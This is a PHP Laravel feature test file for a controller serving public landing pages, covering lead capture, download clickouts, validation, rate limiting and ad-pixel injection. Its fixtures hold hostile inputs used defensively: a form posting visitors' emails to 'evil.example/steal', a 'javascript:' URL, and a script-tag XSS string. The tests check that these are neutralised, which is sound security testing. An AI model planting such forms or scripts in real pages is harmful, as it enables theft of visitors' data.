<?php

namespace Tests\Feature;

use App\Models\PromptLandingPage;
use App\Models\PromptLandingPageClickout;
use App\Models\PromptLandingPageLead;
use App\Models\User;
use App\Support\PromptLandingPageLeadPayload;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Tests\TestCase;

class PublicPromptLandingPageControllerTest extends TestCase
{
    use RefreshDatabase;

    public function test_guests_receive_the_approved_page_html_with_forms_pointed_at_lead_capture(): void
    {
        $page = $this->approvedPage();

        $this->withHeaders(['Origin' => 'https://yoga.example.com'])
            ->get($this->showUrl($page))
            ->assertOk()
            ->assertHeader('Content-Type', 'text/html; charset=UTF-8')
            ->assertHeader('Access-Control-Allow-Origin', '*')
            ->assertSee('Yoga studio', false)
            ->assertSee('window.scrollTo', false)
            ->assertSee('data-admedia-lead="1"', false)
            ->assertSee($this->leadsUrl($page), false)
            ->assertSee('Please fill in the required fields.', false)
            ->assertSee('Please enter a valid email address.', false)
            ->assertSee('type="email"', false)
            ->assertSee('required', false)
            ->assertSee('Return to yoga.example.com', false)
            ->assertDontSee('Continue to secure signup', false)
            ->assertDontSee('form.submit()', false)
            ->assertDontSee('https://evil.example/steal', false)
            ->assertDontSee('googletagmanager.com', false)
            ->assertDontSee('fbevents.js', false);
    }

    public function test_approved_app_download_page_keeps_the_store_link_and_does_not_add_return_cta(): void
    {
        $page = $this->approvedPage(overrides: [
            'purpose' => 'App download page',
            'html' => '<section><h1>Yoga studio</h1><a class="btn" href="https://apps.apple.com/app/yoga">Download the app</a></section>',
        ]);

        $this->get($this->showUrl($page))
            ->assertOk()
            ->assertSee('Yoga studio', false)
            ->assertSee('https://apps.apple.com/app/yoga', false)
            ->assertSee('data-admedia-download="1"', false)
            ->assertSee("fbq('track', 'Lead')", false)
            ->assertSee('gtag_report_conversion(href)', false)
            ->assertSee('recordDownloadClick', false)
            ->assertSee($this->downloadsUrl($page), false)
            ->assertSee('application/x-www-form-urlencoded', false)
            ->assertDontSee('Return to yoga.example.com', false);
    }

    public function test_download_cta_click_records_a_clickout_for_the_visit(): void
    {
        $page = $this->approvedPage(overrides: [
            'purpose' => PromptLandingPage::PURPOSE_APP_DOWNLOAD,
            'html' => '<section><a href="https://apps.apple.com/app/yoga">Download the app</a></section>',
        ]);
        $visit = PromptLandingPageLead::factory()->bounce()->for($page, 'page')->create();

        $this->postJson($this->downloadsUrl($page), [
            'page_load_id' => $visit->page_load_id,
            'destination_url' => 'https://apps.apple.com/app/yoga',
        ])->assertCreated()
            ->assertJson(['ok' => true]);

        $this->assertDatabaseCount('prompt_landing_page_clickouts', 1);

        $clickout = PromptLandingPageClickout::query()->first();

        $this->assertNotNull($clickout);
        $this->assertSame($visit->id, $clickout->prompt_landing_page_lead_id);
        $this->assertSame($page->id, $clickout->prompt_landing_page_id);
        $this->assertSame('https://apps.apple.com/app/yoga', $clickout->destination_url);
    }

    public function test_download_cta_click_records_a_form_encoded_clickout_for_the_visit(): void
    {
        $page = $this->approvedPage(overrides: [
            'purpose' => PromptLandingPage::PURPOSE_APP_DOWNLOAD,
            'html' => '<section><a href="https://apps.apple.com/app/yoga">Download the app</a></section>',
        ]);
        $visit = PromptLandingPageLead::factory()->bounce()->for($page, 'page')->create();

        $this->post($this->downloadsUrl($page), [
            'page_load_id' => $visit->page_load_id,
            'destination_url' => 'https://apps.apple.com/app/yoga',
        ])->assertCreated()
            ->assertJson(['ok' => true]);

        $this->assertDatabaseCount('prompt_landing_page_clickouts', 1);
        $this->assertDatabaseHas('prompt_landing_page_clickouts', [
            'prompt_landing_page_lead_id' => $visit->id,
            'prompt_landing_page_id' => $page->id,
            'destination_url' => 'https://apps.apple.com/app/yoga',
        ]);
    }

    public function test_download_cta_click_stores_an_empty_destination_for_hash_hrefs(): void
    {
        $page = $this->approvedPage(overrides: [
            'purpose' => PromptLandingPage::PURPOSE_APP_DOWNLOAD,
        ]);
        $visit = PromptLandingPageLead::factory()->bounce()->for($page, 'page')->create();

        $this->postJson($this->downloadsUrl($page), [
            'page_load_id' => $visit->page_load_id,
            'destination_url' => '#',
        ])->assertCreated();

        $clickout = PromptLandingPageClickout::query()->first();

        $this->assertNotNull($clickout);
        $this->assertSame('', $clickout->destination_url);
    }

    public function test_download_cta_click_returns_404_for_a_visit_from_another_page(): void
    {
        $page = $this->approvedPage(overrides: [
            'purpose' => PromptLandingPage::PURPOSE_APP_DOWNLOAD,
        ]);
        $other = $this->approvedPage(overrides: [
            'purpose' => PromptLandingPage::PURPOSE_APP_DOWNLOAD,
            'website_url' => 'https://other.example.com',
        ]);
        $visit = PromptLandingPageLead::factory()->bounce()->for($other, 'page')->create();

        $this->postJson($this->downloadsUrl($page), [
            'page_load_id' => $visit->page_load_id,
            'destination_url' => 'https://apps.apple.com/app/yoga',
        ])->assertNotFound();

        $this->assertDatabaseCount('prompt_landing_page_clickouts', 0);
    }

    public function test_download_cta_click_returns_404_for_an_unknown_page_load_id(): void
    {
        $page = $this->approvedPage(overrides: [
            'purpose' => PromptLandingPage::PURPOSE_APP_DOWNLOAD,
        ]);

        $this->postJson($this->downloadsUrl($page), [
            'page_load_id' => '00000000-0000-4000-8000-000000000001',
            'destination_url' => 'https://apps.apple.com/app/yoga',
        ])->assertNotFound();

        $this->assertDatabaseCount('prompt_landing_page_clickouts', 0);
    }

    public function test_download_cta_click_returns_404_for_a_leads_page(): void
    {
        $page = $this->approvedPage();
        $visit = PromptLandingPageLead::factory()->bounce()->for($page, 'page')->create();

        $this->postJson($this->downloadsUrl($page), [
            'page_load_id' => $visit->page_load_id,
            'destination_url' => 'https://apps.apple.com/app/yoga',
        ])->assertNotFound();

        $this->assertDatabaseCount('prompt_landing_page_clickouts', 0);
    }

    public function test_download_cta_click_rejects_a_javascript_destination(): void
    {
        $page = $this->approvedPage(overrides: [
            'purpose' => PromptLandingPage::PURPOSE_APP_DOWNLOAD,
        ]);
        $visit = PromptLandingPageLead::factory()->bounce()->for($page, 'page')->create();

        $this->postJson($this->downloadsUrl($page), [
            'page_load_id' => $visit->page_load_id,
            'destination_url' => 'javascript:alert(1)',
        ])->assertUnprocessable()
            ->assertJsonValidationErrors(['destination_url']);

        $this->assertDatabaseCount('prompt_landing_page_clickouts', 0);
    }

    public function test_download_cta_click_requires_a_page_load_id(): void
    {
        $page = $this->approvedPage(overrides: [
            'purpose' => PromptLandingPage::PURPOSE_APP_DOWNLOAD,
        ]);

        $this->postJson($this->downloadsUrl($page), [
            'destination_url' => 'https://apps.apple.com/app/yoga',
        ])->assertUnprocessable()
            ->assertJsonValidationErrors(['page_load_id']);
    }

    public function test_www_host_matches_the_canonical_website_host(): void
    {
        $page = $this->approvedPage();

        $this->get(route('public-prompt-landing-pages.show', [
            'domain' => 'www.yoga.example.com',
            'purpose' => 'leads-page',
            'landing_page' => $page->id,
        ]))->assertOk();
    }

    public function test_returns_404_when_the_page_is_not_approved(): void
    {
        $page = PromptLandingPage::factory()->pendingApproval()->create([
            'html' => '<section><form><input name="email"></form></section>',
        ]);

        $this->get($this->showUrl($page))->assertNotFound();

        $this->assertSame(0, PromptLandingPageLead::query()->count());
    }

    public function test_returns_404_when_the_domain_does_not_match(): void
    {
        $page = $this->approvedPage();

        $this->get(route('public-prompt-landing-pages.show', [
            'domain' => 'other.example.com',
            'purpose' => 'leads-page',
            'landing_page' => $page->id,
        ]))->assertNotFound();
    }

    public function test_returns_404_when_the_purpose_does_not_match(): void
    {
        $page = $this->approvedPage();

        $this->get(route('public-prompt-landing-pages.show', [
            'domain' => 'yoga.example.com',
            'purpose' => 'signup-page',
            'landing_page' => $page->id,
        ]))->assertNotFound();
    }

    public function test_returns_404_when_the_page_does_not_exist(): void
    {
        $this->get(route('public-prompt-landing-pages.show', [
            'domain' => 'yoga.example.com',
            'purpose' => 'leads-page',
            'landing_page' => 999999,
        ]))->assertNotFound();
    }

    public function test_show_stores_query_params_from_the_third_party_request(): void
    {
        $page = $this->approvedPage();

        $response = $this->get($this->showUrl($page).'?utm_source=facebook&utm_campaign=spring&gclid=abc123');

        $lead = PromptLandingPageLead::query()->first();

        $this->assertNotNull($lead);
        $response
            ->assertOk()
            ->assertSee($lead->page_load_id, false);
        $this->assertSame($page->id, $lead->prompt_landing_page_id);
        $this->assertSame([], $lead->payload);
        $this->assertSame([
            'utm_source' => 'facebook',
            'utm_campaign' => 'spring',
            'gclid' => 'abc123',
        ], $lead->query_params);
        $this->assertNotNull($lead->page_load_id);
    }

    public function test_show_injects_the_google_ads_tag_when_utm_source_is_google(): void
    {
        $page = $this->approvedPage(overrides: [
            'google_conversion_send_to' => 'AW-16990837573/i9NRCNzf3PkcEMW27qU_',
        ]);

        $this->get($this->showUrl($page).'?utm_source=google&utm_medium=cpc')
            ->assertOk()
            ->assertSee('https://www.googletagmanager.com/gtag/js?id=AW-16990837573', false)
            ->assertSee("gtag('config', 'AW-16990837573')", false)
            ->assertSee('AW-16990837573/i9NRCNzf3PkcEMW27qU_', false)
            ->assertSee('function gtag_report_conversion', false)
            ->assertSee("fbq('track', 'Lead')", false)
            ->assertDontSee('fbevents.js', false);
    }

    public function test_show_injects_the_meta_pixel_when_utm_source_is_facebook(): void
    {
        $page = $this->approvedPage(overrides: [
            'meta_pixel_id' => '680344444359627',
        ]);

        $this->get($this->showUrl($page).'?utm_source=facebook&utm_campaign=spring')
            ->assertOk()
            ->assertSee('https://connect.facebook.net/en_US/fbevents.js', false)
            ->assertSee("fbq('init', '680344444359627')", false)
            ->assertSee("fbq('track', 'PageView')", false)
            ->assertSee('https://www.facebook.com/tr?id=680344444359627', false)
            ->assertDontSee('googletagmanager.com', false);
    }

    public function test_show_does_not_inject_google_tags_when_the_page_has_no_send_to(): void
    {
        $page = $this->approvedPage();

        $this->get($this->showUrl($page).'?utm_source=google')
            ->assertOk()
            ->assertDontSee('googletagmanager.com', false)
            ->assertDontSee('function gtag_report_conversion', false);
    }

    public function test_show_does_not_inject_pixels_for_an_unknown_utm_source(): void
    {
        $page = $this->approvedPage();

        $this->get($this->showUrl($page).'?utm_source=bing')
            ->assertOk()
            ->assertDontSee('googletagmanager.com', false)
            ->assertDontSee('fbevents.js', false)
            ->assertDontSee('AW-16990837573', false)
            ->assertDontSee('680344444359627', false);
    }

    public function test_lead_post_merges_form_data_into_the_show_visit(): void
    {
        $page = $this->approvedPage();
        $pageLoadId = '9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d';
        $visit = PromptLandingPageLead::factory()->bounce()->for($page, 'page')->create([
            'page_load_id' => $pageLoadId,
            'query_params' => ['utm_source' => 'facebook'],
        ]);

        $this->postJson($this->leadsUrl($page), [
            'page_load_id' => $pageLoadId,
            'name' => 'Ada Lovelace',
            'email' => 'ada@example.com',
            'query_params' => ['utm_medium' => 'should-not-store'],
        ])
            ->assertOk()
            ->assertJson(['ok' => true]);

        $this->assertSame(1, PromptLandingPageLead::query()->count());

        $visit->refresh();

        $this->assertSame([
            'name' => 'Ada Lovelace',
            'email' => 'ada@example.com',
        ], $visit->payload);
        $this->assertSame(['utm_source' => 'facebook'], $visit->query_params);
        $this->assertArrayNotHasKey('query_params', $visit->payload);
        $this->assertArrayNotHasKey('page_load_id', $visit->payload);
    }

    public function test_json_lead_post_stores_arbitrary_fields_and_returns_201(): void
    {
        $page = $this->approvedPage();

        $this->postJson($this->leadsUrl($page), [
            'name' => 'Ada Lovelace',
            'email' => 'ada@example.com',
            'company' => 'Analytical Engines',
            'source' => 'partner-site',
        ])
            ->assertCreated()
            ->assertJson(['ok' => true]);

        $lead = PromptLandingPageLead::query()->first();

        $this->assertNotNull($lead);
        $this->assertSame($page->id, $lead->prompt_landing_page_id);
        $this->assertSame([
            'name' => 'Ada Lovelace',
            'email' => 'ada@example.com',
            'company' => 'Analytical Engines',
            'source' => 'partner-site',
        ], $lead->payload);
        $this->assertNull($lead->query_params);
        $this->assertNull($lead->page_load_id);
    }

    public function test_form_lead_post_stores_the_payload_and_returns_html(): void
    {
        $page = $this->approvedPage();

        $this->post($this->leadsUrl($page), [
            'email' => 'form@example.com',
            '_token' => 'ignored',
        ])
            ->assertCreated()
            ->assertSee('Thanks — we received your details.', false)
            ->assertSee('Return to yoga.example.com', false)
            ->assertDontSee('Continue to secure signup', false);

        $this->assertDatabaseHas('prompt_landing_page_leads', [
            'prompt_landing_page_id' => $page->id,
        ]);

        $this->assertSame(['email' => 'form@example.com'], PromptLandingPageLead::query()->first()?->payload);
    }

    public function test_invalid_email_leads_are_rejected(): void
    {
        $page = $this->approvedPage();

        $this->postJson($this->leadsUrl($page), [
            'name' => 'Ada',
            'email' => 'not-an-email',
        ])
            ->assertUnprocessable()
            ->assertJsonValidationErrors(['email'])
            ->assertJsonPath('errors.email.0', 'Please enter a valid email address.');

        $this->assertSame(0, PromptLandingPageLead::query()->count());
    }

    public function test_empty_name_leads_are_rejected_when_the_name_field_is_present(): void
    {
        $page = $this->approvedPage();

        $this->postJson($this->leadsUrl($page), [
            'name' => '',
            'email' => 'ada@example.com',
        ])
            ->assertUnprocessable()
            ->assertJsonValidationErrors(['name']);

        $this->assertSame(0, PromptLandingPageLead::query()->count());
    }

    public function test_invalid_phone_leads_are_rejected(): void
    {
        $page = $this->approvedPage();

        $this->postJson($this->leadsUrl($page), [
            'email' => 'ada@example.com',
            'phone' => '123',
        ])
            ->assertUnprocessable()
            ->assertJsonValidationErrors(['phone'])
            ->assertJsonPath('errors.phone.0', 'Please enter a valid phone number.');

        $this->assertSame(0, PromptLandingPageLead::query()->count());
    }

    public function test_html_thanks_page_escapes_the_brand_name(): void
    {
        $page = $this->approvedPage();
        $page->update([
            'brief' => ['brand_name' => '<script>alert(1)</script>'],
        ]);

        $this->post($this->leadsUrl($page), [
            'email' => 'form@example.com',
        ])
            ->assertCreated()
            ->assertSee('Return to &lt;script&gt;alert(1)&lt;/script&gt;', false)
            ->assertDontSee('<script>alert(1)</script>', false);
    }

    public function test_another_users_approved_page_is_public_but_leads_stay_with_the_owner(): void
    {
        $owner = User::factory()->create();
        $page = $this->approvedPage($owner);
        PromptLandingPageLead::factory()->for($page, 'page')->create([
            'payload' => ['email' => 'secret@example.com'],
        ]);

        $this->get($this->showUrl($page))->assertOk();

        $this->actingAs(User::factory()->create())
            ->getJson(route('prompt-landing-pages.leads.index', $page))
            ->assertForbidden();
    }

    public function test_empty_lead_payloads_are_rejected(): void
    {
        $page = $this->approvedPage();

        $this->postJson($this->leadsUrl($page), [])
            ->assertUnprocessable()
            ->assertJsonValidationErrors(['payload']);

        $this->assertSame(0, PromptLandingPageLead::query()->count());
    }

    public function test_oversized_lead_payloads_are_rejected(): void
    {
        $page = $this->approvedPage();

        $this->postJson($this->leadsUrl($page), [
            'notes' => str_repeat('a', PromptLandingPageLeadPayload::MAX_BYTES + 1),
        ])
            ->assertUnprocessable()
            ->assertJsonValidationErrors(['payload']);
    }

    public function test_lead_posts_are_throttled_per_ip(): void
    {
        $page = $this->approvedPage();
        $url = $this->leadsUrl($page);

        for ($i = 0; $i < 10; $i++) {
            $this->withServerVariables(['REMOTE_ADDR' => '203.0.113.10'])
                ->postJson($url, ['email' => "lead{$i}@example.com"])
                ->assertCreated();
        }

        $this->withServerVariables(['REMOTE_ADDR' => '203.0.113.10'])
            ->postJson($url, ['email' => 'blocked@example.com'])
            ->assertStatus(429);
    }

    private function approvedPage(?User $user = null, array $overrides = []): PromptLandingPage
    {
        return PromptLandingPage::factory()
            ->approved()
            ->for($user ?? User::factory())
            ->create(array_merge([
                'website_url' => 'https://yoga.example.com',
                'purpose' => 'Leads Page',
                'html' => '<section><h1>Yoga studio</h1><form action="https://evil.example/steal" method="get" target="_blank"><input name="email"><button type="submit">Go</button></form></section>',
            ], $overrides));
    }

    private function showUrl(PromptLandingPage $page): string
    {
        return route('public-prompt-landing-pages.show', [
            'domain' => $page->publicHost(),
            'purpose' => $page->purposeSlug(),
            'landing_page' => $page->id,
        ]);
    }

    private function leadsUrl(PromptLandingPage $page): string
    {
        return route('public-prompt-landing-pages.leads.store', [
            'domain' => $page->publicHost(),
            'purpose' => $page->purposeSlug(),
            'landing_page' => $page->id,
        ]);
    }

    private function downloadsUrl(PromptLandingPage $page): string
    {
        return route('public-prompt-landing-pages.downloads.store', [
            'domain' => $page->publicHost(),
            'purpose' => $page->purposeSlug(),
            'landing_page' => $page->id,
        ]);
    }
}
